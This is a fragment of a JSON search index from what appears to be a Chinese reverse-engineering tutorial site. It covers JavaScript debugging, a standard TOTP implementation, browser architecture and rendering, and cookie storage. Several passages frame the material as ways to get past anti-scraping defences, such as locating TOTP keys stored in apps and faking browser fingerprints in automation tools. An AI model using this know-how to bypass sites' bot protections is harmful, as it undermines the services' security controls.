基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#2-hook-函数"},{"categories":null,"collections":null,"content":"3. 调试混淆代码 // 使用 debugger 语句 function suspiciousFunction() { debugger; // 执行到这里会自动断点 // ... } // 条件断点 // 在 DevTools 中右键设置条件断点 // 例如：userId === '12345' // 日志点 // 不暂停执行，只输出日志 ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:12:3","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#3-调试混淆代码"},{"categories":null,"collections":null,"content":"相关章节 DOM 与 BOM 浏览器开发者工具 JavaScript 反混淆 调试技巧与断点设置 ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:13:0","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#相关章节"},{"categories":null,"collections":null,"content":"TOTP 技术原理 TOTP (Time-Based One-Time Password) 是一种基于时间的一次性密码算法，广泛应用于双因素认证 (2FA) 和 API 防护场景。 ","date":"2024-04-13","objectID":"/reverse_engineering/android/04-reference/foundations/totp/:0:0","tags":["签名验证","加密分析","基础知识","Smali","Android","DEX"],"title":"TOTP 技术原理","uri":"/reverse_engineering/android/04-reference/foundations/totp/#totp-技术原理"},{"categories":null,"collections":null,"content":"核心原理 TOTP 基于 HMAC-SHA1 算法，结合共享密钥和当前时间戳生成动态密码。其核心公式为： TOTP = HMAC-SHA1(Secret, TimeCounter) mod 10^Digits 其中： TimeCounter = floor(CurrentTime / Period) Period 通常为 30 秒 Digits 通常为 6 位 ","date":"2024-04-13","objectID":"/reverse_engineering/android/04-reference/foundations/totp/:1:0","tags":["签名验证","加密分析","基础知识","Smali","Android","DEX"],"title":"TOTP 技术原理","uri":"/reverse_engineering/android/04-reference/foundations/totp/#核心原理"},{"categories":null,"collections":null,"content":"算法流程 ┌─────────────────────────────────────────────────────────────┐ │ TOTP 生成流程 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ ┌──────────┐ ┌──────────────┐ ┌───────────────┐ │ │ │ 当前时间 │ ──► │ 计算时间计数器 │ ──► │ HMAC-SHA1 │ │ │ │ (毫秒) │ │ T = t / period│ │ (secret, T) │ │ │ └──────────┘ └──────────────┘ └───────┬───────┘ │ │ │ │ │ ┌──────────┐ ┌──────────────┐ ┌───────▼───────┐ │ │ │ 6-8位OTP │ ◄── │ 取模运算 │ ◄── │ 动态截断 │ │ │ │ (输出) │ │ mod 10^digits│ │ (取4字节) │ │ │ └──────────┘ └──────────────┘ └───────────────┘ │ │ │ └─────────────────────────────────────────────────────────────┘ ","date":"2024-04-13","objectID":"/reverse_engineering/android/04-reference/foundations/totp/:2:0","tags":["签名验证","加密分析","基础知识","Smali","Android","DEX"],"title":"TOTP 技术原理","uri":"/reverse_engineering/android/04-reference/foundations/totp/#算法流程"},{"categories":null,"collections":null,"content":"关键参数 参数 说明 典型值 Secret 共享密钥 (Base32编码) 16-32 字节 Period 时间步长 30 秒 Digits OTP 位数 6-8 位 Algorithm 哈希算法 SHA1 / SHA256 / SHA512 ","date":"2024-04-13","objectID":"/reverse_engineering/android/04-reference/foundations/totp/:3:0","tags":["签名验证","加密分析","基础知识","Smali","Android","DEX"],"title":"TOTP 技术原理","uri":"/reverse_engineering/android/04-reference/foundations/totp/#关键参数"},{"categories":null,"collections":null,"content":"标准实现 以下是符合 RFC 6238 规范的 Python 实现： import hmac import hashlib import time import base64 def generate_totp(secret: bytes, period: int = 30, digits: int = 6) -\u003e str: \"\"\" 生成 TOTP 一次性密码 Args: secret: 共享密钥 (原始字节) period: 时间步长 (秒) digits: OTP 位数 Returns: 生成的 OTP 字符串 \"\"\" # 1. 计算时间计数器 counter = int(time.time()) // period counter_bytes = counter.to_bytes(8, byteorder='big') # 2. HMAC-SHA1 计算 hmac_result = hmac.new(secret, counter_bytes, hashlib.sha1).digest() # 3. 动态截断 (Dynamic Truncation) offset = hmac_result[-1] \u0026 0x0F binary = ( (hmac_result[offset] \u0026 0x7F) \u003c\u003c 24 | (hmac_result[offset + 1] \u0026 0xFF) \u003c\u003c 16 | (hmac_result[offset + 2] \u0026 0xFF) \u003c\u003c 8 | (hmac_result[offset + 3] \u0026 0xFF) ) # 4. 取模得到最终 OTP otp = binary % (10 ** digits) return str(otp).zfill(digits) def generate_totp_from_base32(secret_base32: str, period: int = 30, digits: int = 6) -\u003e str: \"\"\" 从 Base32 编码的密钥生成 TOTP Args: secret_base32: Base32 编码的共享密钥 period: 时间步长 (秒) digits: OTP 位数 Returns: 生成的 OTP 字符串 \"\"\" # 解码 Base32 密钥 secret = base64.b32decode(secret_base32.upper()) return generate_totp(secret, period, digits) # 使用示例 if __name__ == \"__main__\": # Base32 编码的测试密钥 test_secret = \"JBSWY3DPEHPK3PXP\" otp = generate_totp_from_base32(test_secret) print(f\"Generated OTP: {otp}\") ","date":"2024-04-13","objectID":"/reverse_engineering/android/04-reference/foundations/totp/:4:0","tags":["签名验证","加密分析","基础知识","Smali","Android","DEX"],"title":"TOTP 技术原理","uri":"/reverse_engineering/android/04-reference/foundations/totp/#标准实现"},{"categories":null,"collections":null,"content":"动态截断详解 动态截断 (Dynamic Truncation) 是 TOTP 的关键步骤，用于从 20 字节的 HMAC 结果中提取 4 字节作为 OTP 的来源： 取偏移量: 从 HMAC 结果的最后一个字节取低 4 位作为偏移量 (0-15) 提取 4 字节: 从偏移量位置开始取 4 个字节 屏蔽符号位: 将第一个字节的最高位置 0，确保结果为正数 取模运算: 对 10^digits 取模，得到最终的 OTP # 动态截断伪代码 offset = hmac_result[-1] \u0026 0x0F # 取最后字节的低4位 binary = hmac_result[offset:offset+4] # 取4字节 binary[0] \u0026= 0x7F # 屏蔽符号位 otp = int.from_bytes(binary, 'big') % (10 ** digits) ","date":"2024-04-13","objectID":"/reverse_engineering/android/04-reference/foundations/totp/:5:0","tags":["签名验证","加密分析","基础知识","Smali","Android","DEX"],"title":"TOTP 技术原理","uri":"/reverse_engineering/android/04-reference/foundations/totp/#动态截断详解"},{"categories":null,"collections":null,"content":"在反爬场景中的应用 ","date":"2024-04-13","objectID":"/reverse_engineering/android/04-reference/foundations/totp/:6:0","tags":["签名验证","加密分析","基础知识","Smali","Android","DEX"],"title":"TOTP 技术原理","uri":"/reverse_engineering/android/04-reference/foundations/totp/#在反爬场景中的应用"},{"categories":null,"collections":null,"content":"1. 动态 Token 生成 服务端和客户端共享密钥，客户端生成的 TOTP 作为请求签名的一部分： def sign_request(params: dict, secret: bytes) -\u003e dict: \"\"\"使用 TOTP 签名请求\"\"\" totp = generate_totp(secret) params['timestamp'] = int(time.time() * 1000) params['otp'] = totp return params ","date":"2024-04-13","objectID":"/reverse_engineering/android/04-reference/foundations/totp/:6:1","tags":["签名验证","加密分析","基础知识","Smali","Android","DEX"],"title":"TOTP 技术原理","uri":"/reverse_engineering/android/04-reference/foundations/totp/#1-动态-token-生成"},{"categories":null,"collections":null,"content":"2. 防重放攻击 由于 OTP 有时效性 (通常 30 秒)，捕获的请求无法长期复用。服务端验证时通常允许 ±1 个周期的容差： def verify_totp(secret: bytes, otp: str, tolerance: int = 1) -\u003e bool: \"\"\"验证 TOTP，允许时间误差\"\"\" for offset in range(-tolerance, tolerance + 1): counter = (int(time.time()) // 30) + offset expected = generate_totp_with_counter(secret, counter) if otp == expected: return True return False ","date":"2024-04-13","objectID":"/reverse_engineering/android/04-reference/foundations/totp/:6:2","tags":["签名验证","加密分析","基础知识","Smali","Android","DEX"],"title":"TOTP 技术原理","uri":"/reverse_engineering/android/04-reference/foundations/totp/#2-防重放攻击"},{"categories":null,"collections":null,"content":"3. 密钥保护 共享密钥通常经过混淆或加密存储在客户端，增加逆向难度： 硬编码混淆: 密钥被拆分或异或后存储 加密配置: 密钥加密存储在配置文件中 远程获取: 启动时从服务端安全获取密钥 ","date":"2024-04-13","objectID":"/reverse_engineering/android/04-reference/foundations/totp/:6:3","tags":["签名验证","加密分析","基础知识","Smali","Android","DEX"],"title":"TOTP 技术原理","uri":"/reverse_engineering/android/04-reference/foundations/totp/#3-密钥保护"},{"categories":null,"collections":null,"content":"逆向要点 ","date":"2024-04-13","objectID":"/reverse_engineering/android/04-reference/foundations/totp/:7:0","tags":["签名验证","加密分析","基础知识","Smali","Android","DEX"],"title":"TOTP 技术原理","uri":"/reverse_engineering/android/04-reference/foundations/totp/#逆向要点"},{"categories":null,"collections":null,"content":"1. 定位密钥存储 // 常见的密钥存储位置 1. 硬编码在 JS/SO 中 2. 存储在 SharedPreferences / localStorage 3. 从服务端 API 动态获取 4. 使用设备信息派生 (PBKDF2, HKDF) ","date":"2024-04-13","objectID":"/reverse_engineering/android/04-reference/foundations/totp/:7:1","tags":["签名验证","加密分析","基础知识","Smali","Android","DEX"],"title":"TOTP 技术原理","uri":"/reverse_engineering/android/04-reference/foundations/totp/#1-定位密钥存储"},{"categories":null,"collections":null,"content":"2. 确定算法参数 # 需要确定的参数 1. Period (时间步长): 常见值 30, 60 2. Digits (位数): 常见值 6, 8 3. Algorithm (算法): SHA1, SHA256, SHA512 4. 时间基准: Unix 时间戳 vs 自定义纪元 ","date":"2024-04-13","objectID":"/reverse_engineering/android/04-reference/foundations/totp/:7:2","tags":["签名验证","加密分析","基础知识","Smali","Android","DEX"],"title":"TOTP 技术原理","uri":"/reverse_engineering/android/04-reference/foundations/totp/#2-确定算法参数"},{"categories":null,"collections":null,"content":"3. 时间同步 # 注意事项 1. 客户端和服务端时间可能存在偏差 2. 服务端通常允许 ±1 个周期的容差 3. 某些实现使用毫秒级时间戳 4. 注意时区问题 ","date":"2024-04-13","objectID":"/reverse_engineering/android/04-reference/foundations/totp/:7:3","tags":["签名验证","加密分析","基础知识","Smali","Android","DEX"],"title":"TOTP 技术原理","uri":"/reverse_engineering/android/04-reference/foundations/totp/#3-时间同步"},{"categories":null,"collections":null,"content":"与 HOTP 的区别 特性 TOTP HOTP 计数器 基于时间 基于事件 (递增) 有效期 时间窗口内 直到使用 同步问题 需要时间同步 需要计数器同步 适用场景 双因素认证 硬件令牌 RFC 规范 RFC 6238 RFC 4226 ","date":"2024-04-13","objectID":"/reverse_engineering/android/04-reference/foundations/totp/:8:0","tags":["签名验证","加密分析","基础知识","Smali","Android","DEX"],"title":"TOTP 技术原理","uri":"/reverse_engineering/android/04-reference/foundations/totp/#与-hotp-的区别"},{"categories":null,"collections":null,"content":"参考资料 RFC 6238 - TOTP: Time-Based One-Time Password Algorithm RFC 4226 - HOTP: An HMAC-Based One-Time Password Algorithm Google Authenticator 实现 ","date":"2024-04-13","objectID":"/reverse_engineering/android/04-reference/foundations/totp/:9:0","tags":["签名验证","加密分析","基础知识","Smali","Android","DEX"],"title":"TOTP 技术原理","uri":"/reverse_engineering/android/04-reference/foundations/totp/#参考资料"},{"categories":null,"collections":null,"content":"浏览器架构与渲染引擎 ","date":"2024-04-12","objectID":"/reverse_engineering/web/01-foundations/browser_architecture/:0:0","tags":["Web","HTTP","浏览器指纹","Canvas指纹","JavaScript","视频App"],"title":"浏览器架构与渲染引擎","uri":"/reverse_engineering/web/01-foundations/browser_architecture/#浏览器架构与渲染引擎"},{"categories":null,"collections":null,"content":"概述 了解浏览器的内部架构和渲染流程，有助于逆向工程师理解页面是如何从代码变成可视化的像素的，以及如何利用这些机制来检测自动化工具或反调试。 ","date":"2024-04-12","objectID":"/reverse_engineering/web/01-foundations/browser_architecture/:1:0","tags":["Web","HTTP","浏览器指纹","Canvas指纹","JavaScript","视频App"],"title":"浏览器架构与渲染引擎","uri":"/reverse_engineering/web/01-foundations/browser_architecture/#概述"},{"categories":null,"collections":null,"content":"浏览器作为操作系统 现代浏览器（如 Chrome）不仅仅是一个简单的文档查看器，它更像是一个操作系统。 ","date":"2024-04-12","objectID":"/reverse_engineering/web/01-foundations/browser_architecture/:2:0","tags":["Web","HTTP","浏览器指纹","Canvas指纹","JavaScript","视频App"],"title":"浏览器架构与渲染引擎","uri":"/reverse_engineering/web/01-foundations/browser_architecture/#浏览器作为操作系统"},{"categories":null,"collections":null,"content":"多进程架构 (Chrome 模型) 为了稳定性和安全性，现代浏览器采用多进程架构： graph TB subgraph Chrome[\"Chrome 浏览器\"] Browser[Browser Process主进程━━━━━━━━• UI 管理• 网络请求• 进程协调• 权限管理] subgraph Renderers[\"Renderer Processes (渲染进程)\"] R1[Tab 1━━━━━━━• Blink 引擎• V8 引擎• DOM/CSSOM• JavaScript] R2[Tab 2━━━━━━━• Blink 引擎• V8 引擎• DOM/CSSOM• JavaScript] R3[Tab 3━━━━━━━• Blink 引擎• V8 引擎• DOM/CSSOM• JavaScript] end GPU[GPU ProcessGPU 进程━━━━━━━━• Canvas 渲染• WebGL• CSS 3D 变换• 视频解码] Plugin[Plugin Process插件进程━━━━━━━━• Flash (已弃用)• PDF 阅读器• 其他插件] Network[Network Service网络服务━━━━━━━━• HTTP/HTTPS• WebSocket• DNS 解析] end Browser --\u003e R1 Browser --\u003e R2 Browser --\u003e R3 Browser --\u003e GPU Browser --\u003e Plugin Browser --\u003e Network R1 --\u003e GPU R2 --\u003e GPU R3 --\u003e GPU style Browser fill:#4a90e2 style R1 fill:#7ed321 style R2 fill:#7ed321 style R3 fill:#7ed321 style GPU fill:#f5a623 style Plugin fill:#bd10e0 style Network fill:#50e3c2 graph TB subgraph Chrome[\"Chrome 浏览器\"] Browser[Browser Process主进程━━━━━━━━• UI 管理• 网络请求• 进程协调• 权限管理] subgraph Renderers[\"Renderer Processes (渲染进程)\"] R1[Tab 1━━━━━━━• Blink 引擎• V8 引擎• DOM/CSSOM• JavaScript] R2[Tab 2━━━━━━━• Blink 引擎• V8 引擎• DOM/CSSOM• JavaScript] R3[Tab 3━━━━━━━• Blink 引擎• V8 引擎• DOM/CSSOM• JavaScript] end GPU[GPU ProcessGPU 进程━━━━━━━━• Canvas 渲染• WebGL• CSS 3D 变换• 视频解码] Plugin[Plugin Process插件进程━━━━━━━━• Flash (已弃用)• PDF 阅读器• 其他插件] Network[Network Service网络服务━━━━━━━━• HTTP/HTTPS• WebSocket• DNS 解析] end Browser --\u003e R1 Browser --\u003e R2 Browser --\u003e R3 Browser --\u003e GPU Browser --\u003e Plugin Browser --\u003e Network R1 --\u003e GPU R2 --\u003e GPU R3 --\u003e GPU style Browser fill:#4a90e2 style R1 fill:#7ed321 style R2 fill:#7ed321 style R3 fill:#7ed321 style GPU fill:#f5a623 style Plugin fill:#bd10e0 style Network fill:#50e3c2 graph TB subgraph Chrome[\"Chrome 浏览器\"] Browser[Browser Process主进程━━━━━━━━• UI 管理• 网络请求• 进程协调• 权限管理] subgraph Renderers[\"Renderer Processes (渲染进程)\"] R1[Tab 1━━━━━━━• Blink 引擎• V8 引擎• DOM/CSSOM• JavaScript] R2[Tab 2━━━━━━━• Blink 引擎• V8 引擎• DOM/CSSOM• JavaScript] R3[Tab 3━━━━━━━• Blink 引擎• V8 引擎• DOM/CSSOM• JavaScript] end GPU[GPU ProcessGPU 进程━━━━━━━━• Canvas 渲染• WebGL• CSS 3D 变换• 视频解码] Plugin[Plugin Process插件进程━━━━━━━━• Flash (已弃用)• PDF 阅读器• 其他插件] Network[Network Service网络服务━━━━━━━━• HTTP/HTTPS• WebSocket• DNS 解析] end Browser --\u003e R1 Browser --\u003e R2 Browser --\u003e R3 Browser --\u003e GPU Browser --\u003e Plugin Browser --\u003e Network R1 --\u003e GPU R2 --\u003e GPU R3 --\u003e GPU style Browser fill:#4a90e2 style R1 fill:#7ed321 style R2 fill:#7ed321 style R3 fill:#7ed321 style GPU fill:#f5a623 style Plugin fill:#bd10e0 style Network fill:#50e3c2 graph TB subgraph Chrome[\"Chrome 浏览器\"] Browser[Browser Process主进程━━━━━━━━• UI 管理• 网络请求• 进程协调• 权限管理] subgraph Renderers[\"Renderer Processes (渲染进程)\"] R1[Tab 1━━━━━━━• Blink 引擎• V8 引擎• DOM/CSSOM• JavaScript] R2[Tab 2━━━━━━━• Blink 引擎• V8 引擎• DOM/CSSOM• JavaScript] R3[Tab 3━━━━━━━• Blink 引擎• V8 引擎• DOM/CSSOM• JavaScript] end GPU[GPU ProcessGPU 进程━━━━━━━━• Canvas 渲染• WebGL• CSS 3D 变换• 视频解码] Plugin[Plugin Process插件进程━━━━━━━━• Flash (已弃用)• PDF 阅读器• 其他插件] Network[Network Service网络服务━━━━━━━━• HTTP/HTTPS• WebSocket• DNS 解析] end Browser --\u003e R1 Browser --\u003e R2 Browser --\u003e R3 Browser --\u003e GPU Browser --\u003e Plugin Browser --\u003e Network R1 --\u003e GPU R2 --\u003e GPU R3 --\u003e GPU style Browser fill:#4a90e2 style R1 fill:#7ed321 style R2 fill:#7ed321 style R3 fill:#7ed321 style GPU fill:#f5a623 style Plugin fill:#bd10e0 style Network fill:#50e3c2 各进程职责: Browser Process (主进程): 负责地址栏、书签、前进/后退、协调其他进程。 Renderer Process (渲染进程): 核心关注点。负责将 HTML/CSS/JS 转换为网页。 通常每个 Tab 是一个独立的进程（Site Isolation）。 JS 也是运行在这里（V8 引擎）。 GPU Process: 处理 GPU 任务（CSS 3D 变换、Canvas 绘图）。 Plugin Process: 运行 Flash 等插件。 Network Service: 处理所有网络请求。 ","date":"2024-04-12","objectID":"/reverse_engineering/web/01-foundations/browser_architecture/:2:1","tags":["Web","HTTP","浏览器指纹","Canvas指纹","JavaScript","视频App"],"title":"浏览器架构与渲染引擎","uri":"/reverse_engineering/web/01-foundations/browser_architecture/#多进程架构-chrome-模型"},{"categories":null,"collections":null,"content":"逆向启示 内存隔离: 由于不同 Tab 在不同进程，你不能简单地跨 Tab 直接读写内存数据（除非通过 DevTools 协议）。 Headless 检测: 无头浏览器（Headless Chrome）在启动时某些图形相关的进程行为或 GPU 参数可能与正常浏览器不同，这常被用于反爬检测。 ","date":"2024-04-12","objectID":"/reverse_engineering/web/01-foundations/browser_architecture/:2:2","tags":["Web","HTTP","浏览器指纹","Canvas指纹","JavaScript","视频App"],"title":"浏览器架构与渲染引擎","uri":"/reverse_engineering/web/01-foundations/browser_architecture/#逆向启示"},{"categories":null,"collections":null,"content":"渲染流程 (Rendering Pipeline) 理解渲染流程对于分析反爬虫技术（如验证码的人机识别、DOM 混淆）很有帮助。 ","date":"2024-04-12","objectID":"/reverse_engineering/web/01-foundations/browser_architecture/:3:0","tags":["Web","HTTP","浏览器指纹","Canvas指纹","JavaScript","视频App"],"title":"浏览器架构与渲染引擎","uri":"/reverse_engineering/web/01-foundations/browser_architecture/#渲染流程-rendering-pipeline"},{"categories":null,"collections":null,"content":"1. 解析 (Parsing) HTML -\u003e DOM: 解析 HTML 文本生成 DOM 树。 CSS -\u003e CSSOM: 解析 CSS 生成 CSSOM 树。 ","date":"2024-04-12","objectID":"/reverse_engineering/web/01-foundations/browser_architecture/:3:1","tags":["Web","HTTP","浏览器指纹","Canvas指纹","JavaScript","视频App"],"title":"浏览器架构与渲染引擎","uri":"/reverse_engineering/web/01-foundations/browser_architecture/#1-解析-parsing"},{"categories":null,"collections":null,"content":"2. 布局 (Layout / Reflow) DOM + CSSOM 合并为 Render Tree。 计算每个节点的确切几何位置（坐标、宽高）。 Reflow (回流): 当页面布局发生变化（如 JS 修改了宽高），浏览器需要重新计算布局。这很消耗性能。 ","date":"2024-04-12","objectID":"/reverse_engineering/web/01-foundations/browser_architecture/:3:2","tags":["Web","HTTP","浏览器指纹","Canvas指纹","JavaScript","视频App"],"title":"浏览器架构与渲染引擎","uri":"/reverse_engineering/web/01-foundations/browser_architecture/#2-布局-layout--reflow"},{"categories":null,"collections":null,"content":"3. 绘制 (Painting / Repaint) 将 Render Tree 转换为屏幕上的像素。 Repaint (重绘): 改变颜色但不变布局的操作。 ","date":"2024-04-12","objectID":"/reverse_engineering/web/01-foundations/browser_architecture/:3:3","tags":["Web","HTTP","浏览器指纹","Canvas指纹","JavaScript","视频App"],"title":"浏览器架构与渲染引擎","uri":"/reverse_engineering/web/01-foundations/browser_architecture/#3-绘制-painting--repaint"},{"categories":null,"collections":null,"content":"4. 合成 (Compositing) 浏览器将页面分为多个图层（Layers），GPU 将这些图层合成一张图片。 ","date":"2024-04-12","objectID":"/reverse_engineering/web/01-foundations/browser_architecture/:3:4","tags":["Web","HTTP","浏览器指纹","Canvas指纹","JavaScript","视频App"],"title":"浏览器架构与渲染引擎","uri":"/reverse_engineering/web/01-foundations/browser_architecture/#4-合成-compositing"},{"categories":null,"collections":null,"content":"完整渲染流程图 flowchart TB subgraph Input[\"输入阶段\"] HTML[HTML 文档] CSS[CSS 样式表] JS[JavaScript] end subgraph Parse[\"解析阶段\"] HTMLParse[HTML 解析器] CSSParse[CSS 解析器] DOM[DOM Tree] CSSOM[CSSOM Tree] end subgraph Render[\"渲染树构建\"] RenderTree[Render Tree合并 DOM + CSSOM] end subgraph Layout[\"布局计算\"] LayoutCalc[计算几何位置Layout/Reflow] end subgraph Paint[\"绘制\"] PaintOps[生成绘制指令Painting/Repaint] Layers[分层 Layering] end subgraph Composite[\"合成\"] Raster[栅格化 Rasterize] GPUComp[GPU 合成] Display[显示到屏幕] end HTML --\u003e HTMLParse --\u003e DOM CSS --\u003e CSSParse --\u003e CSSOM DOM --\u003e RenderTree CSSOM --\u003e RenderTree RenderTree --\u003e LayoutCalc LayoutCalc --\u003e PaintOps PaintOps --\u003e Layers Layers --\u003e Raster Raster --\u003e GPUComp GPUComp --\u003e Display JS -.-\u003e|修改 DOM| DOM JS -.-\u003e|修改样式| CSSOM JS -.-\u003e|触发 Reflow| LayoutCalc JS -.-\u003e|触发 Repaint| PaintOps style Display fill:#51cf66 style JS fill:#fff9e1 flowchart TB subgraph Input[\"输入阶段\"] HTML[HTML 文档] CSS[CSS 样式表] JS[JavaScript] end subgraph Parse[\"解析阶段\"] HTMLParse[HTML 解析器] CSSParse[CSS 解析器] DOM[DOM Tree] CSSOM[CSSOM Tree] end subgraph Render[\"渲染树构建\"] RenderTree[Render Tree合并 DOM + CSSOM] end subgraph Layout[\"布局计算\"] LayoutCalc[计算几何位置Layout/Reflow] end subgraph Paint[\"绘制\"] PaintOps[生成绘制指令Painting/Repaint] Layers[分层 Layering] end subgraph Composite[\"合成\"] Raster[栅格化 Rasterize] GPUComp[GPU 合成] Display[显示到屏幕] end HTML --\u003e HTMLParse --\u003e DOM CSS --\u003e CSSParse --\u003e CSSOM DOM --\u003e RenderTree CSSOM --\u003e RenderTree RenderTree --\u003e LayoutCalc LayoutCalc --\u003e PaintOps PaintOps --\u003e Layers Layers --\u003e Raster Raster --\u003e GPUComp GPUComp --\u003e Display JS -.-\u003e|修改 DOM| DOM JS -.-\u003e|修改样式| CSSOM JS -.-\u003e|触发 Reflow| LayoutCalc JS -.-\u003e|触发 Repaint| PaintOps style Display fill:#51cf66 style JS fill:#fff9e1 flowchart TB subgraph Input[\"输入阶段\"] HTML[HTML 文档] CSS[CSS 样式表] JS[JavaScript] end subgraph Parse[\"解析阶段\"] HTMLParse[HTML 解析器] CSSParse[CSS 解析器] DOM[DOM Tree] CSSOM[CSSOM Tree] end subgraph Render[\"渲染树构建\"] RenderTree[Render Tree合并 DOM + CSSOM] end subgraph Layout[\"布局计算\"] LayoutCalc[计算几何位置Layout/Reflow] end subgraph Paint[\"绘制\"] PaintOps[生成绘制指令Painting/Repaint] Layers[分层 Layering] end subgraph Composite[\"合成\"] Raster[栅格化 Rasterize] GPUComp[GPU 合成] Display[显示到屏幕] end HTML --\u003e HTMLParse --\u003e DOM CSS --\u003e CSSParse --\u003e CSSOM DOM --\u003e RenderTree CSSOM --\u003e RenderTree RenderTree --\u003e LayoutCalc LayoutCalc --\u003e PaintOps PaintOps --\u003e Layers Layers --\u003e Raster Raster --\u003e GPUComp GPUComp --\u003e Display JS -.-\u003e|修改 DOM| DOM JS -.-\u003e|修改样式| CSSOM JS -.-\u003e|触发 Reflow| LayoutCalc JS -.-\u003e|触发 Repaint| PaintOps style Display fill:#51cf66 style JS fill:#fff9e1 flowchart TB subgraph Input[\"输入阶段\"] HTML[HTML 文档] CSS[CSS 样式表] JS[JavaScript] end subgraph Parse[\"解析阶段\"] HTMLParse[HTML 解析器] CSSParse[CSS 解析器] DOM[DOM Tree] CSSOM[CSSOM Tree] end subgraph Render[\"渲染树构建\"] RenderTree[Render Tree合并 DOM + CSSOM] end subgraph Layout[\"布局计算\"] LayoutCalc[计算几何位置Layout/Reflow] end subgraph Paint[\"绘制\"] PaintOps[生成绘制指令Painting/Repaint] Layers[分层 Layering] end subgraph Composite[\"合成\"] Raster[栅格化 Rasterize] GPUComp[GPU 合成] Display[显示到屏幕] end HTML --\u003e HTMLParse --\u003e DOM CSS --\u003e CSSParse --\u003e CSSOM DOM --\u003e RenderTree CSSOM --\u003e RenderTree RenderTree --\u003e LayoutCalc LayoutCalc --\u003e PaintOps PaintOps --\u003e Layers Layers --\u003e Raster Raster --\u003e GPUComp GPUComp --\u003e Display JS -.-\u003e|修改 DOM| DOM JS -.-\u003e|修改样式| CSSOM JS -.-\u003e|触发 Reflow| LayoutCalc JS -.-\u003e|触发 Repaint| PaintOps style Display fill:#51cf66 style JS fill:#fff9e1 ","date":"2024-04-12","objectID":"/reverse_engineering/web/01-foundations/browser_architecture/:3:5","tags":["Web","HTTP","浏览器指纹","Canvas指纹","JavaScript","视频App"],"title":"浏览器架构与渲染引擎","uri":"/reverse_engineering/web/01-foundations/browser_architecture/#完整渲染流程图"},{"categories":null,"collections":null,"content":"[Reverse Engineering Context] 阻塞与检测 JS 阻塞渲染: JS 引擎和渲染引擎通常是互斥的（运行在同一主线程）。如果 JS 执行死循环或繁重计算，页面会假死。 检测不可见元素: 某些反爬虫会在页面插入 opacity: 0 或 visibility: hidden 的元素来迷惑爬虫。虽然人眼看不见，但它们存在于 DOM 和 CSSOM 中。如果爬虫尝试点击这些“不可见”的陷阱元素，就会暴露身份。 ","date":"2024-04-12","objectID":"/reverse_engineering/web/01-foundations/browser_architecture/:3:6","tags":["Web","HTTP","浏览器指纹","Canvas指纹","JavaScript","视频App"],"title":"浏览器架构与渲染引擎","uri":"/reverse_engineering/web/01-foundations/browser_architecture/#reverse-engineering-context-阻塞与检测"},{"categories":null,"collections":null,"content":"JavaScript 引擎 (V8) V8 是 Chrome 的 JS 引擎，也是 Node.js 的核心。 JIT (Just-In-Time) 编译: V8 不只是解释执行，还会将热点代码编译成机器码。 垃圾回收 (GC): 自动管理内存。 ","date":"2024-04-12","objectID":"/reverse_engineering/web/01-foundations/browser_architecture/:4:0","tags":["Web","HTTP","浏览器指纹","Canvas指纹","JavaScript","视频App"],"title":"浏览器架构与渲染引擎","uri":"/reverse_engineering/web/01-foundations/browser_architecture/#javascript-引擎-v8"},{"categories":null,"collections":null,"content":"浏览器指纹 (Browser Fingerprinting) 浏览器架构的微小差异导致了指纹的产生。 Canvas 指纹: 不同 OS + 显卡 + 驱动在渲染字体和抗锯齿时有微小差异。 WebGL 指纹: 同样利用 GPU 的差异。 Font 指纹: 系统安装的字体列表。 逆向工程师需要识别这些指纹采集点，以便在自动化工具中进行伪造（Mock）。 ","date":"2024-04-12","objectID":"/reverse_engineering/web/01-foundations/browser_architecture/:5:0","tags":["Web","HTTP","浏览器指纹","Canvas指纹","JavaScript","视频App"],"title":"浏览器架构与渲染引擎","uri":"/reverse_engineering/web/01-foundations/browser_architecture/#浏览器指纹-browser-fingerprinting"},{"categories":null,"collections":null,"content":"总结 浏览器架构看似底层，但其实与上层的 JS 逆向息息相关。从进程模型到渲染流水线，每一个环节都可能隐藏着反爬虫的检测点或 Bypass 的切入点。 ","date":"2024-04-12","objectID":"/reverse_engineering/web/01-foundations/browser_architecture/:6:0","tags":["Web","HTTP","浏览器指纹","Canvas指纹","JavaScript","视频App"],"title":"浏览器架构与渲染引擎","uri":"/reverse_engineering/web/01-foundations/browser_architecture/#总结"},{"categories":null,"collections":null,"content":"Cookie 与 Storage ","date":"2024-04-09","objectID":"/reverse_engineering/web/01-foundations/cookie_and_storage/:0:0","tags":["Web","HTTP","签名验证","JavaScript","基础知识","Hook"],"title":"Cookie 与 Storage","uri":"/reverse_engineering/web/01-foundations/cookie_and_storage/#cookie-与-storage"},{"categories":null,"collections":null,"content":"概述 Web 应用需要在客户端存储数据，用于维持会话状态（Session）、保存用户偏好或缓存数据。在逆向工程中，这些存储位置往往是寻找 Token、密钥或敏感信息的首选之地。 ","date":"2024-04-09","objectID":"/reverse_engineering/web/01-foundations/cookie_and_storage/:1:0","tags":["Web","HTTP","签名验证","JavaScript","基础知识","Hook"],"title":"Cookie 与 Storage","uri":"/reverse_engineering/web/01-foundations/cookie_and_storage/#概述"},{"categories":null,"collections":null,"content":"Cookie Cookie 是最早的客户端存储机制，主要用于 HTTP 状态管理。 ","date":"2024-04-09","objectID":"/reverse_engineering/web/01-foundations/cookie_and_storage/:2:0","tags":["Web","HTTP","签名验证","JavaScript","基础知识","Hook"],"title":"Cookie 与 Storage","uri":"/reverse_engineering/web/01-foundations/cookie_and_storage/#cookie"},{"categories":null,"collections":null,"content":"1. 结构与属性 一个 Cookie 包含以下关键属性： Name/Value: 键值对。 Domain/Path: 作用域。 Expires/Max-Age: 有效期。 HttpOnly: 关键属性。如果设置为 true，JS 无法读取（document.cookie 读不到），但这不影响抓包。这主要是为了防止 XSS 攻击窃取 Cookie。 Secure: 仅通过 HTTPS 传输。 SameSite: Strict / Lax / None，限制跨站请求携带 Cookie（防止 CSRF）。 ","date":"2024-04-09","objectID":"/reverse_engineering/web/01-foundations/cookie_and_storage/:2:1","tags":["Web","HTTP","签名验证","JavaScript","基础知识","Hook"],"title":"Cookie 与 